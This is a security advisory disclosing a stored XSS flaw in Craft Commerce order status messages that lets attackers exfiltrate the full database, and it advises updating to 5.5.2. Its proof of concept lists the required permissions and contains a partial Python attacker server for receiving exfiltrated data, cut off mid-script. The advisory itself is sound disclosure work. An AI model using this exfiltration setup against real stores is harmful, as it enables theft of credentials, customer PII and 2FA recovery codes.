Craft Commerce has Stored XSS via Order Status Message with potential database exfiltration
Date: 2026-02
Affected: composer/craftcms/commerce, composer/craftcms/commerce
Attack vector: xss
Category: vulnerability-disclosure
Severity: Medium
CVE: CVE-2026-25482
CVE-2026-25483
CWE: CWE-79

## Summary A stored XSS vulnerability exists in Craft Commerce’s Order Status History Message. The message is rendered using the `|md` filter, which permits raw HTML, enabling malicious script execution. If a user has database backup utility permissions (which do not require an elevated session), an attacker can exfiltrate the entire database, including all user credentials, customer PII, order history, and 2FA recovery codes. Users are recommended to update to the patched 5.5.2 release to mitigate the issue. --- ## Proof of Concept ### Required Permissions - General - Access the control panel - Access Craft Commerce - Access to the database backup utility - Craft Commerce - Manage orders - Edit orders ### Attacker Server Setup To reproduce this attack, you need a server to receive the exfiltrated database. 1. Save the Python script as `receiver.py` on your attacker machine. 2. Run it: `python3 receiver.py` -- Change the port if needed. <details> <summary>Server Python Script</summary> ```python #!/usr/bin/env python3 """ Usage: python3 receiver.py """ from http.server import HTTPServer, BaseHTTPRequestHandler import cgi, os from datetime import datetime class Handler(BaseHTTPRequestHandler): def do_OPTIONS(self): self.send_response(200) self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Access-Control-Allow-Methods', 'POST') self.end_headers() def do_POST(self): self.send_response(200)


Mitigations:

Architectural layers (MAESTRO):